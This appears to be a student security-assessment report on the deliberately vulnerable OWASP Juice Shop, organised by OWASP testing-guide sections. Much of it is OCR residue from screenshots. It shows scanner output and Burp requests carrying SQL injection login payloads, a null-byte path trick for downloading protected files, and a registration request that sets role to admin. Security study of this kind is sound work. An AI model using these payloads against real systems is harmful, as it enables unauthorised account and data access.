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1. Information Gathering

1.1 Conduct Search Engine Discovery Reconnaissance for Information Leakage

As the application is hosted in a docker container on the attacking Kali VM, conduct search
engine results may not be entirely accurate.

1.2 Fingerprint Web Server

As the application is hosted in a docker container on the attacking Kali VM, fingerprinting
results may not be entirely accurate.

1521 kali@kali: ~[Downloads/juice-shop_15.21 %

 Kali Tools s % Kali Forums & Kali NetHunter

') OWASP Juice Shop

All Products

;:ﬁp(v)lgéﬁ:‘cf Apple Pomace
1.99% 0.89:

1
- /Downloads/

Banana Juice
(1000ml)

x — ‘ MAVAIACT Ll Ol mn

This application is riddled with security
vulnerabilities. Your progress exploiting ice-st
these is tracked on a Score Board. \ce-sh.op

Orders & Payment »
Privacy Policy Privacy & Security »
Request Data Export Logout

Request Data Erasure

Delux

Enjoy amazing benefits a i (e SP Juice

Shop. Check out what i rship.
2FA Configuration

Last Login IP

Deals and
Offers A e Unlimited

Delivery Purchase

As a deluxe T _
member, you get (et I Enjoy unrestricted
P youg Fast Delivery for all oy N

access to exclusive 3 2 purchase of your
- products in the - > 5
deals and Hie favourite products.

irresistible offers.
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1.3 Review Webserver Metafiles for Information Leakage

/juice-shop_15.2.1]
t

bots.tx

.~KB/s in @s

bom. json

bom. xmL ( LICENSE README .md
4 HALL_OF_FAME .md REFEREMNCES. :
CODE_OF_COND robots.
-shop-dirs.

LUTIONS .md

]
o m

|- ~/Downloads/juice-shop_15.2.1]
robots. txt
nt: *

listing directory /ftp
QO A == 192.168.0.37:3

7 KaliTools « KaliDocs # Kali Forums e Kali NetHunter

~ | ftp
quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support. kdbx legal.md package.json.bak

suspicious_emrors.yml

NetHunter xploit-| e Hacking DB

588
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1.4 Enumerate Applications on Webserver

As the application is hosted in a docker container on the attacking Kali VM, fingerprinting
results may not be entirely accurate.

~/Downloads/juice-shop_15.2.1

1

ubmit th

1.5 Review Webpage Comments and Metadata for Information Leakage

) €

N Kali F o Kali NetHunter = Exploi

e Shop

Reviews (1)

admi
One of my

Write a review

Apple Juice
(1000ml)

The all-time classic.

1.99%

Banana Juice
(1000ml)

Monkeys love it the most.

1.991

Reviews (1)

bender@juice-sh.op
Fry liked it too.

Write a review
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almost profitable salesman. He

made a succesful carreer in

selling used ships, coffins,

krypts, crosses, real estate, life

insurance, restaurant supplies,

voodoo enhanced asbestos and

courtroom souvenirs before .
finally adding his expertise to Carrot JU ice

the Juice Shop marketing team. (1000 m|)

5000x ‘5&,.1’ As the old German saying goe:
"Carrots are good for the ey
Or has anyone ever seen a
rabbit with glasses?"

Reviews (2)
2.99n

stan@juice-sh.op
I'd stand on my head to make you a deal for this p
iece of art.

Reviews (1)
bender@juice-sh.op
Just when my opinion of humans couldn't get any | uvogin@juice-sh.op
ower, along comes Stan... 0 st4rs for 7h3 horrlbl3 s3curl7y It:l

Green Smoothie
Looks poisonous but is actually
very good for your health! Made
from green cabbage, spinach,

kiwi and grass.

1.99n

Reviews (1)

ice-sh.op
Fresh out of a replicator. It:w

1.6 Identify Application Entry Points
Q @ Account @ EN
5] Login

Login

Email *

[J Remember me
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Forgot Password

Email *

@ show password advice

1.7 Map Execution Paths Through Application

~/Downloads/juice-shop_15.2.1
http://192.168.0.37:3000 -e php

1S10NS: HTTP method: Thre: Wordlist size:
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Output File: /home/kali/.dirsearch/reports/192.168.0.37-3000/_23-10-19_07-48-00.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-10-19_07-48-00.log
Target:

[07:48

% owasp

KaliLinux #& Kali Tools « KaliDocs M Kali Forums eX Kali NetHunter Exploit-DB Google Hacking DB

-juice.shop
mminich/pgp_keys.asc?fingerprint=19c81ch7157e4645e922c863062a85a8cbfbdcda

da, de, ga, el, es, et, fi, fr, ka, he, hi, hu, id, it, ja, ko, 1w, m

18 Oct 2024 19:11:08 GMT

o, pl, pt, ro,
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1.8 Fingerprint Web Application Framework

Request
Raw Hex

GET /socket.io/7EIC=4&transport=polling&t=0]7p7Hg HTTP/1.1

Host: 192.168.0.37: 3000

User-Agent: Mozillas5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: ®/%

Accept-Language: en-US, en:g=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: http://192.168.0,37:3000/

Cookie: language=en; welcomebanner_status=dismiss: cookileconsent_status=dismiss; continueCode=
FleGm?tStchfNHzleuUZtPHIEyTMmIGQTzUtSDsoyqusqudYILNAng

10

BUI Y, I

[Tl vs]

Pretty Raw Hex

L posT srestsuser/login HTTR/1.1

Host: 192,168,0,37:3000

User-Agent: Mozillas/5.0 (¥11; Linux xB86_64; rv:109,0] Gecko/20100101 Firefox/115.0
Accept: application/ison, text/plain, */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate., br

Content -Type: application/json

Content -Length: 38

Origin: http://192.168.0.37:3000

Connection: close

Referer: http://192.168,0.37: 3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
gklLGm7t 3t LocgfNHzIx1luOZt RYXIEY THMIG2t zOt S0soyuoYs L gUdvyILNAZKY

WA

— LW Ul

1 q{
"email”: "admin'--",
"password": "1234"
i

1.9 Fingerprint Web Application

Fingerprint Web Application is the same thing as Fingerprint Web Application Framework.

Pretty Raw Hex

POST /frest/user/login HTTR/1.1

Host: 152.168.0.37:3000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109,0) Gecko/ /20100101 Firefox/115.0
Accept: application/fjson. text/plain, #*7%

Accept-Language: en-US,en:g=0.5

Accept -Encoding: gzip, deflate, br

Content -Type: applicationsjson

G s Wb e

& Content -Length: 50

9 Origin: http://192 168,0.37:3000

O Connection: close

1 Referer: http://192.168. 0.37:3000/

2 Cookie: language=en; welcomebanner_status=dismiss; cockieconsent_status=dismiss; continueCode=
qklLGm7t3tLegfNHz Ix luOZt RE¥IEYy TMmIG2t 20t SDsoyunYs1 qUaYILNAZKY

4 {

"email":"admin@juice-sh.op'--",
"password":"1234"
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1.10 Map Application Architecture

Web applications do not have Architecture of Web app due to specific testing environment
(app run locally on tester pc).

10 | 88
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2. Configuration and Deployment Management Testing

2.1 Test Network Infrastructure Configuration

The application is hosted in a docker container on port 3000. The access to the application is
through URL - http://localhost:3000, also all Api requests and database is hidden under the
same URL with “/api”.

2] cichowlasp@cichowlasp: ~

File Actions Edit View Help

~

localhost
[sudo] password for cichowlasp:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 01:52 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000010s latency).
Other addresses for localhost (not scanned):
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp  open ssh
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

~

Nmap scan shows that the app is running on port 3000

= . QOWASP Juice Shop

All Products

Apple Juice (1000ml)

1.99%

Add o Basket

Api requests are sent through http://localhost:3000/api/ and http://localhost:3000/rest/.

Strona 11| 88
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2.2 Test Application Platform Configuration

e Sample and Known Files and Directories

'~ [0 Elements Console  Sources ik Performance

.. OWASP Juice Shop Q@ Y Q Preserve log Disable cache No throttling

¥

[t cichowlasp@cichowlasp: ~

File Actions Edit View Help
The server has been restarted: Your previous hacking progress has been restored
Target IP: 127.0.0.1
Target Hostname: localhost
Target Por 3000
Start Time 2023-10-19 02 8 (GMT2)

automatically. E Delete cookie to clear hacking progress

Server: No banner retrieved
You successfully solved a challenge; Error Handling (Provoke an error that is neller very ; [j?z;;‘;gzdhzgzzr CO:;?L?HSW ?;:‘ﬁ;" :iigmu;":émg . J#/50bs.
gracefully nor consistently handled.) X + /robots.txt: Entry '/ftp/' is returned a non-forbidden or redirect HTTP
tswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 1 entry which should be manually viewed. See: htt
-US/docs/Glossary/Robots. txt
+ /: The X-Content-Type-Options header is not set. This could allow the u
You successfully solved a challenge: Security Policy (Behave like any “white-hat" should before nt of the site in a different fashion to the MIME type. See: https://ww.
ity-scanner/vulnerabilities/missing-content-type-header/
+ /database.cer: Potentially interesting backup/cert file found. .
initions/530.html
+ /localhost.jks: Potentially interesting backup/cert file found. .
finitions/530.html
27.0.0.1.jks: Potentially interesting backup/cert file found. . See:
finitions/530.html
/\ll F)r()d[jcts + /database.tar.bz2: Potentially interesting backup/cert file found. . Se
/definitions/530.html
+ /dump.tgz: Potentially interesting backup/cert file found. . See: https
ions/530.html

getting into the action.) X

By running Nikto (nikto —host localhost —p 3000 —C all) we found some interesting
directories /ftp and file /robots.txt

e x | @ NewTab
) localhost % F 0O & c o st < & F O 2

@ listing d x | ) Wel

€aco

N KaliForums @ Kali NetHunter » KaliLinux @ Kali s # KaliDocs M KaliForums € Kali NetHunte

# KaliDocs

KaliLinux @ Kali Tools

quarantine

acquisitions.md
announcement_encrypted.md
coupons_2013.md.bak
eastere.gg

encrypt.pyc

incident-support. kdbx

In /ftp directory we can find confidential files which should not be accessed by the
user.

Using DirBuster we also found another directory on the website /video which
contains a OWASP video

Strona 12| 88
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& @® localhost:3000/video < % F =5 0O &

KaliLinux #8 KaliTools # KaliDocs N KaliForums & Kali NetHunter

&)owask

Open Web Application Security Project

» 0:12/1:30

Other routes are:

o http://localhost:3000/#/administration
o http://localhost:3000/#/score-board
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e System configuration

& Cc O ® localhost w X H 0O a

KaliLinux #8 KaliTools # KaliDocs M KaliForums e Kali NetHunter

OWASP Juice
Shop (Express
NL17.1)

500 TypeError LY
[ERR_INVALID_ARG_TYPE]: The "data"
argument must be of type string or an
instance of Buffer, TypedArray, or
DataView. Received undefined

at new NodeError (node:internal/errors:405:5)

at Hash.update (node:internal/crypto/hash:107:11)

at Object.hash (/juice-shop/build/lib/insecurity.js:48:59)
at /juice-shop/build/routes/userProfile.js:74:74

Bad error handling should return custom page with no sensitive information what is
went wrong. Returning used node modules and information about how the web
application is working.

192.168.0.37:3000

L. ¥ S #WEEF B O Riht Conirol

User can access configuration files like “package.json” through the /ftp route and
downloading this file by NULL terminator

(http://localhost:3000/ftp/package.json.bak%2500.md)
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package.json.bak%00.md X

"name": "juice-shop",

"version": "6.2.0-SNAPSHOT",

"description”: "An intentionally insecure JavaScript Web Application",
"homepage" ttp://owasp-juice.shop",

"author": "Bjorn Kimminich <bjoern.kimminich@owasp.org> (https://kimminich.de)",
"contributors":

R
Biorn Kaimn

e logging

Backups and logs are also stored in /ftp route which can be accessed by user, files
stored there can be downloaded by everyone

2.3 Test File Extensions Handling for Sensitive Information

Some of configuration files are accessible by the user using NULL terminator
(http://localhost:3000/ftp/package.json.bak%2500.md) and accessing /ftp route on
the server.

2.4 Review Old Backup and Unreferenced Files for Sensitive Information

The app does not provide support for backups, however unreferenced files and sensitive
information can be accessed through FTP server and injecting NULL bit in the URL. Example
of sensitive file:

S C O @ localhost:3000/fty

KaliLinux #8 KaliTools # KaliDocs XM KaliForums e Kali NetHunter

# Planned Acquisitions
> This document is confidential! Do not distribute!

Our company plans to acquire several campetitors within the next year.
This will have a significant stock marigt impact as we will elaborate in
detail in the following paragraph:

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem
ipsum dolor sit amet.

Our shareholders will be excited. It's true. No fake news.

15| 88


http://localhost:3000/ftp/package.json.bak%2500.md

Wydziat Informatyki i i‘:%

Politechnika Wroclawska Telekomunikacji !\! g’é“,

2.5 Enumerate Infrastructure and Application Admin Interfaces

Application does provide admin interface which is under generic route /administration.
Admin interface is protected however because of the SQL injection problem (email: “or 1=1 -
-’ password: ‘whatever’) on login page we can access it easily.

= CcC 0 locathost:

KaliLinux # KaliTools # KaliDocs N KaliForums & KaliNe

= . OWASP Juice Shop Q @ Acount W Your Baskel @ en

Administration

stered Users Customer Feedback

Great shop! Awesome service!
(™*@juice-sh.op)

Nothing useful available
("*der@juice-sh.op)

Please send me the juicy chatbot NFT in *
my wallet at fjuicy-nft : "purpose betray...

Incompetent customer support! Can't
even upload photo of broken purchas

This is the store for awesome stuff of all
kinds! (anonymous)

a buy anywhere else from
now on! Thanks for the great service!...

2.6 Test HTTP Methods

@

# KaliTools « Kali Docs ¥ Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB

' OWASP Juice Shop

Your Basket

Burp Suite Community Edition ¥2023.10.12 - Temporary Project
Burp Froject Intruder Repeater View Help
Dashboard F Intruder
pi HTTPhistory  WebSockets history {5} Prowy settings

Collaborater Decoder Logger  Crganizer  Extensions.

Target Repeater Sequencer Comparer

Inte
/5 Request to hittp://192.168.0.37:3000

Forward Drop Action Openbrowser c

GET /rest/basket/L HTTP/1.1

Host: 192,168.0.37;3000

User-Agent: Mozilla/S.0 (X11; Linux xB6_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/plain, #7%

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate. br

7 authorization: Bearer

2y J0eXA101 KV10iLCINbGE101 ISUZTING 9. ey J2dGFOAXMA 01 JzdWNj ZXN2 Tiwi ZGFOYST6ey IpZCT 6MSwi dXNL cmShbWUL 01 T1L CI1 bWFpbCTSTmFKbWL UQGRLaWNL LXNoLm WI
wicGFze3dyenQi 0F TwHTkyMDIZYTdiYnOSMz T1MDUXNYWN] 1k Zj E4Y] UWMCISInIvbGUi01.JhZGLpb11s InRl bHVAZVRva2VUT] 01TiwibGFzdEx vZ2LuSKAL DI TiLCIwenInaxL S
W1hZ2UioiJheSNLdHMvcHVIbGLT L21 £ YWd1cy 91c GxvYWRZL2R1 ZnF1bHREZGL pbiSwbncil CIObSRVUZY] cnVoT] oiliwiaXNEYSRpdmUiOnRy dWUS InNy ZWFOZWREACI 61 Twkj Mt
T At FTk gMTESNT QS NT EUHTE2L CswiDowMC1S InVwZ GFOZWREACTEI ] Twhj Mt MTAL Tk g HTESNTQENTEUMTEZI CswHDowHCISINRL bGVOZWREd CI6bn VsbHEs I hdCIEMTYSNzC xhzA
WOXO, 1TAFaBUCWYdghVBy 77nEsQ_vPpxYWATp Sk 931 8nt dULDROBPOC3US_De 2L pbxWnhR7HadHS0ULIPQOwh OwYaXe 7NOBSWKEZECxcinb_06USHIqI=ZZpCEhvReuCHBOTaKICDY
UBKddIayf fFLyuRSoUqlchedBalBuladox 70V

& Connection: close

Referer: http://192.168.0.37:3000/

Cookie: language=en; welcomebanner_status=disniss; cookieconsent_status=dismiss; continueCode=

ak1LGn7t 5t Leg FNHZTx LuOZtRXTEy TMRI62t 20t SDsoyuoYsl qUAYILNAZK; token=

2y J0eXA101 JKV10iLCINbGE101 ISUZTING 9. ey J2dGFOAXMA 01 JzdWNj ZXN2 Tiwi ZGFOYST6ey IpZCT 6MSwi dXNL cmShbWLA 01 T4LCI1 bWFpbCTSTmFk WL UOGHLaWNL LXNoLm WwI
WiCGFZC3dv € n01 O TwHT k yMDTZYTeli YmO3M2T1HDUX NmYwhi 1k Z3 E4Y] MMCT S Tn JwbGLA 01 IhZG1pb1 15 TR bHVAZVRva2VUT] 01 TiwibGFzdExvZ21 USKAL O T1LCIwemOmanx1 S
WLhZ2Ui 0 Jhe SNL dHMy cHVibGL 3 L2+ YWdl cy 91cGxvYWRzL2R1 ZnFLbHREZGL pbi Swbnci L CI0bSRWUZV] cnVOT] o1 [iwiaXNEYSRpdn Ui OnRy diUS TniNy ZWFOZWRBA CI6T j Twkj Mt
T At MTk MTEGNT OGNT EUHTE2T C5wiDowMCT 5 TnVwZ GFOZWRBACTET § Twh Mt MT At Tk g MTEGNTOBNTEUMTE2T CswHDowHCTSTRL bGVOZWRBA CI6bn VSbHES T hdCTEMTYSNzc xhz A
WOX0, 1 TAFaBuCWYdgVBy 77nEsQ_vPpiWATpSik 93T 8nt dULDPOBPOCSUS_De 21 pbxWnhR7HadHS0UL1POwh OwYaXe PNOBSwKEZECxcinb_06uSHIqTeZZpCEhvReuCHc 80T aKICDY
UBKddIqyf fFLyuRBoUGLCNe0BqLEULad0x 7DY

If-Nene-Match: W/"5le-j pEQB+YUXCSKowdpXyG2rsonsBw’

3 s e
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2.7 Test HTTP Strict Transport Security

The application does not support HTTP Strict Transport Security. It is because of the testing
env which is hosted locally on docker container, so it does not support https protocol.

[~

http://localhost:3000

2.8 Test RIA (Rich Internet Application) Cross Domain Policy

App does not use any Rich Internet Applications (RIA).

2.9 Test File Permission

Server is configured locally on Docker container, so it is not possible to test this vulnerability.
For sure ftp folder is not configured correctly and files which it stores because everyone have
access to those files (mentioned in Test Application Platform Configuration — System
Configuration).

2.10 Test for Subdomain Takeover

Web applications do not have domain and subdomains due to specific testing environment
(app run locally on tester pc).

2.11 Test Cloud Storage

App does not have any cloud storage. Uploading files by user is not possible, the only
accessible storage is ftp server, which is emulated in this case, does not have real ftp server
functionality.
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3. Identity Management Testing

3.1 Test Role Definition

Add things to cart, modify the cart, buy things,

Customer access his shopping history, add reviews.

Same as customer + have access to
Admin /#/administration page where he can review
and manage user's reviews.

The customer cannot access the admin page. The page is protected and returns the right
handled custom error message.

i OWASP Juice Shop X +

C' A NotSecure 192.168.64.14:3000/#/administration

.__ OWASP Juice Shop

W 403

You are not allowed to access this page!

However, the customer can access this page through the SQL injection mentioned in this
section by accessing administrator account.
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3.2 Test User Registration Process

User/customer can create an account through the registration form which is accessible on
“/register” route. The form contains the following inputs:

e Email —required

e Password — required

e Repeat Password — required
e Security Question — required
e Answer —required

The form looks like on the bellow screenshot

._ OWASP Juice Shop

User Registration
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On the API side request look like this:

[ ] [ ] Burp Suite Community Edition v2023.10.2.3 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger @ Settings
Organizer Extensions Learn

HTTP history WebSockets history {53 Proxy settings

7P Request o http://132.168.64.14:3000

Forward Drop Action Open browser Comment this tem ¥ HTPA (D
Pretty Raw  Hex "= | Inspector n = - & X
POST /apifUsers/ HTTP/1.1
Host: 192.168.64.14:3080 Request atirbutes 3 v

Content-Length: 234

Accept: application/json, text/plain, #*/*

User-Agent: Mozilla/5.@ (Windows NT 1@.0; Win64; x64) AppleWebKit/537.36 (KHTML, Request query parameters 0 v
like Gecko) Chrome/118.8.5993.88 Safari/537.36
6 Content-Type: application/json

7 0rigin: http://192.168.64.14:3000

8 Referer: http://192.168.64.14:3000/

9 Accept-Encoding: gzip, deflate, br

10 Accept-Language: en-GB,en-US;q=@.9,en;q=0.8 LSS i ¥
11 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss

12 Connection: close

VoW e

Request cockies 3 ~

14 {"email":"test@lol.com","password":"123123", "passwordRepeat":"123123",
"securityQuestion":{"i y"question":"Mother's maiden name?",“createdAt":
"2023-10-22T17:27:49,481Z", "updatedAt": "2023-10-22T17:27:49.4812"},
"securityAnswer":"1ol"}

® & €[] | search o 0 highlights

Server is not checking if data filled in request are valid so we can create a lot of dummy
accounts with not valid emails, short passwords etc. It is even possible to send empty Json
file and create infinity dummy accounts which can result in filling up the database and
decreasing application performance. Example below:

[ ] [ ] Burp Suite Community Edition v2023.10.2.3 - Temporary Project
Dashboard  Targel  Froxy  Inbuder  Repealer  Calbboralor  Sequencar  Decoder  Comparer  Logger  Organer  Extsnsions  Leam G Setings
1%+ £
m @[ Ccancel <lv Target: http://162.168.64.14:3000 F  HTTPA ()
== = 5
Request Response inspector W) = - @ X o
P R H B = & R H Rander no= o
Py e e e Py e e e — > - [
1 POST /api/Users/ KTTP/1.1 1 HTTP/1.1 201 Created B
2 Host: 192.168.64.14:3008 2 Access-Control-Allow-Origin: = e
3 Content-Length: 2 3 X-Content-Type-Options: nosniff Request query parameters. o v g
4 Accept: application/json, text/plain, =/= 4 X-Frame-Options: SAMEORIGIN
5 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; xG4} 5 Feature-Policy: payment 'self’ Roquast cookks "
ApplewiebKit/537.36 (KHTML, Like Gecko) Chrome/118.0,5993,88 6 X-Recruiting: /#/jobs
Safari/537.36 7 Location: /api/Users/6d E]
6 Content-Type: application/jsan © Content-Type: application/jsan; charset=utf-g Request headers "oov
7 Origin: http://192.168.64.14:3000 9 Content-Length: 293 g
6 Referer: http://192.168.64.14:3080/ 16 ETag: W/"125-5up/ahySedABTsbhT7ENIxHUEaK" g
9 Accept-Enceding: gzip, deflate, br 11 Vary: Accept-Encading Hpame RS = v
10 Accept-Language: en-GB,en-Us;q=0.9,en;q=0.8 12 Date: Sum, 22 Oct 2823 19:33:14 GHT
11 Cookie: language=en; welcamebanner_status=dismiss; 13 Connection: close
cookieconsent_status=disniss 1
12 Comnection: close 15 4
13
14 4
}
0.0.0",
"profilelnag assets/public/images/uploads/default. svg",
"ishctive"
id"i6a,
updatedAt®:42023-10-22T19:33:14.3112",
“createdAt":"2023-18-22T19:33:14.3112",
“email":aull,
Vdeletedat”snull
}
X
@& [€] > |sean o | onghighs | (D) &€ [ |sean £ 0highights
Dane 881 bytes | 37 mills

We can even create a new administrator account by adding to default request sent by form
key role with value admin (”value”:”admin”).
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3.3 Test Account Provisioning Process

As mentioned in previous heading everyone can create account with admin privileges
without through the APl by sending request or editing request sent to server by adding
“role”:”admin” to POST request sent by the application. Example in Burp Suite below:

ese Burp Suite Community Edition v2023.10.2.3 - Temporary Project
Dsstboard  Target  Prawy  Imruder  Repemwr  Colsborawr  Sequencer  Decoder  Gomparar  Logoer  Organcer  Extnsons  Leam () setnga
1+ Pt
@) cwmea (<[5 Targer g2 eSS0 (F | KITPA (2)
==
Request Response a mspector (W[} T = B X | g
w = ’ w o= =
P Am e e Py e e 6 e I _—
1 POST /api/Users/ HITR/1.1 1 HTTB/1.1 201 Created °
2 Host: 192.168.64.14:300¢ 2 Access-Control-Allow-Origin: * §
3 Content-Length: 235 3 ¥-Content-Type-Options: nosniff REquESE qUEry parameters o »
4 accept: application/json, text/plain, w/= 2 X-Frane-Options: SAMEORIGIN
5 User-agent: Mozilla/5.@ (Windows NT 10.8; WinGd; x64) 5 Feature-Policy: payment 'self’ Requestcokden —
AppleWebKit/537.36 (KHTML, like Gecke) Chrome/118.9.5993.88 G X-Recruiting: /[#/jobs
Safari/537.36 7 Location: fapifUsers/23 B
& Content—Type: applicatien/json & Content-Type: application/json; charset=utf-& Request heaters 11 v o
7 Origin: ntep://192.166.64.14: 3008 9 Cortent-Length: 307 F
B Referer: ntip://192.168.64.14:3000/ 10 ETeq: W/"133-B1x03UN4LunCBF/pacE IRLGEXUA" 4
9 Accept-Encoding: gzip, deflate, br 11 Vary: Accept-Encoding Respongs headers iz v
18 Accept-Language: en-GE,en-US;g=@.0,en;q: 12 Date: Mon, 23 Oct 2023 @6:28:50 GMT
11 Cookie: languagesen; welconehanmer_statu: 13 Comnection: close
cookieconsent_status=dismiss 16
12 Connection: close 15 ¢
13 "status":"success"”,
18 4 datan:{
emadl: ”m-m@wr con®, Musername®: i,
“passuord": *123123" "deluxeTaken" :"",
PasswwrﬁREvn«‘” "123123", “lastloginIp":"@.8.0.0",
15 “role':"adnin’, “profilelsage’:
16 “securityQuestion":{ "yassets/public/images/uploads/defaultAdmin.png®,
g, isActive™:true,
'2023-18-22T17 49.4812",
“updatedAt":"2823-16-22T17: 49.4812"
} “updatedAt®:"2023-10-23TG: 28:50. TLAZ",
“securityAnswer”: Lol “createdat! 923-18-23T06: 28150, 7142",
H “deletedAt”:null
}
(X IEIIE) h £ onigights | (3) (8 €[] | seach 2| highiights

695 byles | 47 mills

The app does not provide any functionality to manage the accounts such as DELETE, UPDATE
or PATCH the accounts.

3.4 Testing for Accounts Enumerations and Guessable User Accounts

It is possible to login as any user by only knowing the user’s email.

ece Burp Suite Community Edition v2023.10.2.3 - Temporary Project
Dasnboard  Target  Froxy  Inbuder  Repeater  Colaborator  Sequencer  Decoder  Comoarer  Logger  Organzer  Extensions  Leam 45} settngs
1 x 2 x £ + o
E3 Cancel Target: httpy/102.166.64.183000 /P HTTP/1 (3)
Request Response a- - nspector = T - & X o
Fr R H wo= Pri Ri H Rende 8 v = =
| Prelty | Raw o ) _ Frety  Raw = Raquest atbibuies 2~ |3
1 POST /rest/user/login HTTP/1.1 1 HTTP/1.1 204 OK k4
2 Host: 192.168.64.14:3000 2 Access—Control-Allow-Origin: * i
3 Content-Length: 57 3 X-Content-Type-Options: nosniff Request query parameters o v
4 Accept: application/jsen, text/plain, =/ 4 X-Frame-Options: SAMEORIGIN
5 User-Agent: Mozillas5.8 (Windows NT 10.0; Win4; x64) 5 Feature-Poliey: payment 'self' AT B
AppleWebKit/537.36 (KHTML, like Gecke) Chrome/118.0.5993.88 6 X-Recruiting: /#/jobs %
Safarif537.36 7 Content-Type: application/ison; charset=utf-g B
Content-Type: app\.l:at).un/]sbn 2 Content-Lengt! Request headers 11 ~
Origin: http://192.168.64.1 9 ETag: w”31f—pdr—zwsur«n/mmausqgswjuaaa" E
4 Referer: http://192.168.64,14: mee/ 10 Vary: Accept-Encadin 3
9 Accept-Encoding: gzip, deflate, br 11 Date: Wed, 25 Oct 2023 22:33:24 GMT EsapanEs Hsdars il A
18 Accept-Language: en-GB,en-US;q=0.9,en;q=4.8 12 Connection: clos
11 Cookie: language=en; welcomebanner_status=dismiss; 13
cookieconsent_status=dismiss 14 {

12 Connection: close “authentcation”s {
13 “taken

“email”:"bender@juice-sh.op’ -,
“passward”: " fasatasd

}

i

o

0 highlights

ey J00XAL0 KV ILCInbGE0LISUZTINEDS ey T2dGHOHA0I Dzdk 2
HN2T1wiZGFBYSI6eylpZCI6MywidXN LcnShbWUi0iT1LCI WFpbET6Im) 1
MR LckBqOWLj 7517aC5ucCTs InBhe N3bIIKT § 0iMGMZNAL IMTA IN2ZROTY
hYWImMWI 1ZmZ N j cONGE@ZWY iLCIyb2x 1T joiY3V2dGItZXTILC IkZWx et
VUb2tbil611lsInxhc3RMo2dpbk LWl joiliwichIvZnlsZULtYdLIjoiY
XNzZXRzL3B1 p’ : XMvdXBsh2 nN2ZyIsInRv
dHBTZWNYZXQi0iTilCIpc@FjdG12ZSI6dHI1ZSwiY3ILYXRLZEFRIjoiMjA
YMyRXMCOYNSAYM | 0z ] oL 4 2NDOGKZAWD | Aul Ll dXBKYXR1ZEFOT join]
AyMyOxMCOYNSAYM]02H ] 0wNi42NDQgK2AW0 j A ini ZGVSZXR1ZEFOT j pud
WxsFSwiaWFAI]oxNjkaMjczMiA1f0, yIH35qt za_R34nKs Yxgymt euuVG-d
£ gVuHgA0uN j NNb FNVEM LyBoV79vbYGAGUL 3TADID1PSDGZ f cdF pYMick2NE
BCIBWCYNZFntIJUMfpwBsnYYiDn3e0_h7CMIoB4fZEiTWI1kSS-Nyok750lf
hriX2iAWiYWIatIfnz_gYamw",

“bid":3

numail": "bender@iuice-sh. op"

£ Ohighights

1,157 bytes | 34 mills
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3.5 Testing for Weak or Unenforced Username Policy

The application on the server side does not provide any input validation so we can create

account with

not valid email or use just some

ede Burp Suite Gommunity Edition v2023.10.2.3 - Temporary Project
Dsshbosd  Tagst  Proxy  Inuder  Repsstr  Colsborstr  Ssquencsr  Decodsr  Comparer  logos  Oranizer  Exeesions  Leam (%) Satinge
18 2 5 85+ Pz
R (@ o |[<7][>F Target hitpuGRGBSAIEIR0 (P HTTRN (D)
a= = = =
Request Response Inspactor ‘.n I @ex ®
" n o= Flent n o= =
Prety  Faw  Hax a Prstty  Aaw  Hex ) Requsat atribuza 2 v B
1 POST /apifUsers/ HTTP/L.1 L1 MTTP/1.1 201 Created
2 Host: 102.168.64.14:3000 2 Mccess-Control-Allow-Origin: +
3 Cantent-Length: 236 3 ®-Content-Type-Options: nosniff Requeat query parameters e v 8
4 applicationsjson, text/plain, #/e 4 %-Franc-Options: SAMEORIGIN
5 User-agent: Mozillass.o (Windows NT 10,0} WinGs; x64) 5 Feature-Policy: paynent 'self’ P 3 v
ApplewebKit/537.36 (KHTML, Uike Geckol Chrame/118.9.5993.88 6 X-Recruiting: /#/jobs 1 .
Safarif537.36 7 Location: /api/Users/22 &
& Content-Type: application/json a pe: application/{son; charset=utf-8 Regueat headars o
7 Origini http://192.168.64.14;3000 a ngth: 307 g
8 Referer: http://192.168.64.14:3008/ ie -DHtLXbSPPLPSHOpMABHKEI 1110™ . 8
9 Accept-Encoding: gzip, deflate, br 11 ) —Encoding Respenze haaders 2 e
10 Date: Wed, 25 Oct 2023 22:36:55 GMT
1 Connection: clase
1
1 status":"success”,
14 { "data":{
“usernam
df deluxeToke:
"passwardRepeat” "TastLoginIp .
15 "role":"admin® "profileInage
15 “securityquestionts{ “passets/public/ inages/uploads/deFaul tadnin, png®
2, rue,
23-18-22T17:27:49.4812", jdsklafjdsakl™,
"1"20823-18-22T17:27:49.4812" " admin®
3 . 2623-10-25722:36155, 4402",
securityAnswer”: 1ol " 2623-10-25T22:36:55. 407",
H " ult
)
3
@@ [«)[3] [seon 5] onggns | @ B [€][3] [Seacn 5] nrghighs
Dore: 595 bytes |71 s

Also mentioned in Test User Registration

random text.

Example below:
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4. Authentication Testing

4.1 Testing for Credentials Transported over an Encrypted Channel

Path: /rest/user/whoami

Burp Suite Community Edition v2023.10.1.2 - Temporary Project

Burp  Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
